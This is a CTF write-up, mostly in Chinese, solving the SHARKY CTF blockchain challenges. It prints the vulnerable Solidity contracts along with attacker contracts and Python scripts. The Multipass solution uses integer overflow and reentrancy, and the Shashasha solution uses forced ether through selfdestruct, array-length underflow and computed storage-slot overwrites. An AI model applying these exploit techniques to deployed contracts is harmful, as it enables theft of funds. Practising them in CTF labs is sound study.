0x01 简介 复现一下SHARKY CTF BLOCKCHAIN的赛题,提升一下自己
0x02 WARMUP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pragma solidity = 0.4.25; contract Warmup { bool public locked; constructor() public payable { locked = true; } function unlock() public payable { require(msg.value == 0.005 ether); locked = false; } function withdraw() public payable { require(!locked); msg.sender.call.value(address(this).balance)(); } }
Just a warmup challenge, this need us to deloy the contract on remix and invoke the unlock function with 0.005 ether to put unlock to false, so that we can invoke withdraw() to get flag~
这个很简单,先调用unlock函数,再调用withdraw函数就可以了
0x03 LOGIC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity = 0.4.25; contract Logic { address public owner; bytes32 private passphrase = "th3 fl4g 1s n0t h3r3"; constructor() public payable { owner = msg.sender; } function withdraw() public { require(msg.sender == owner); msg.sender.call.value(address(this).balance)(); } function claim(bytes32 _secret) public payable { require(msg.value == 0.05 ether && _secret == passphrase); owner = msg.sender; } }
Same as warmup, we should steal all money~
读取一下通过浏览器passphrase即可
0x04 GUESSING 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity = 0.4.25; contract Guessing { address public owner; bytes32 private passphrase; constructor(bytes32 _passphrase) public payable { owner = msg.sender; passphrase = keccak256(abi.encodePacked(_passphrase)); } function withdraw() public { require(msg.sender == owner); msg.sender.call.value(address(this).balance)(); } function claim(bytes32 _secret) public payable { require(keccak256(abi.encodePacked(_secret)) == passphrase); owner = msg.sender; } }
依旧和上一题差不多
0x05 MULTIPASS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity = 0.4.25; contract Multipass { address public owner; uint256 public money; mapping(address => int256) public contributions; bool public withdrawn; constructor() public payable { contributions[msg.sender] = int256(msg.value * 900000000000000000000); owner = msg.sender; money = msg.value; withdrawn = false; } function gift() public payable { require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether); contributions[msg.sender] = int256(msg.value) * 10; money += msg.value; } function takeSomeMoney() public { require(msg.sender == owner && withdrawn == false); uint256 someMoney = money/20; if(msg.sender.call.value(someMoney)()){ money -= someMoney; } withdrawn = true; } function contribute(int256 _factor) public { require(contributions[msg.sender] != 0 && _factor < 10); contributions[msg.sender] *= _factor; } function claimContract() public { require(contributions[msg.sender] > contributions[owner]); owner = msg.sender; } }
Another Steal money task of course XD.
整数溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 contract attack{ Multipass x; constructor ( ) { x = Multipass(address contract); } function prepare ( ) public payable { x.gift.value(0.00005 ether)(); x.contribute(-100000000000 ); x.contribute(-100000000000 ); } function Claim ( ) { x.claimContract(); } function reEntry ( ) { x.takeSomeMoney(); } function ( ) public payable { x.takeSomeMoney(); } }
Prepare()->Claim->reEntry
0x06 SHASHASHA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 pragma solidity = 0.4.25; contract Shashasha { address public owner; uint256 public money; mapping(address => uint256) private contributions; bool public hacker; uint[] public godlike; constructor() public payable { owner = msg.sender; contributions[owner] = msg.value * 9999999999999; money += msg.value; hacker = false; } function becomingHacker() public { require(address(this).balance != money); contributions[msg.sender] = 100; hacker = true; } function remove() public{ require(hacker); godlike.length--; } function append(uint256 _value) public{ require(hacker); godlike.push(_value); } function update(uint256 _key, uint256 _value) public { require(hacker); godlike[_key] = _value; } function withdraw() public payable { require(contributions[msg.sender] > contributions[owner]); msg.sender.call.value(address(this).balance)(); } function getContrib(address _key) public view returns(uint256) { return contributions[_key]; } }
The last steal money task, and really fucking hard! o(╥﹏╥)o
要想成为hack需要先hacker = true,也就是address(this).balance != money,但是合约的默认函数不是payable,我们就没有办法直接发送。想到了selfdestruct。
1 2 3 4 5 6 contract attack{ constructor() payable{} function destory(){ selfdestruct(address contract); } }
此时调用becomingHacker()函数就可以成功
在注意到 remove()可以通过多次调用实现整数减法溢出,我们就可以实现数组越界访问
接下去就是寻找contributions映射的位置去修改owner的数值,先计算contributions[owner]对应的位置
1 2 3 4 5 6 7 8 9 import sha3import binasciidef byte32 (i ): return binascii.unhexlify('%064x' %i) key=0x0b896C359adF4BB1c19c7dfd41Dc35dc9216E470 a=byte32(key)+byte32(2 ) b=sha3.keccak_256(a).hexdigest() print(b)
再计算godlike[attack]对应的位置
1 2 3 4 5 6 import sha3import binasciidef byte32 (i ): return binascii.unhexlify('%064x' %i) b=sha3.keccak_256(byte32(4 )).hexdigest()
根据公示计算偏移的位置
1 2 print(hex (2 **256 -0x8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b +0x814b2098a804d4eb037abd074ad95f52b2b58dfc0d6ea8162adc21fe54e9f0b6 ))
此时我们就可以实现contributions[msg.sender] > contributions[owner],从而调用withdraw函数,达到题目要我们实现的目的。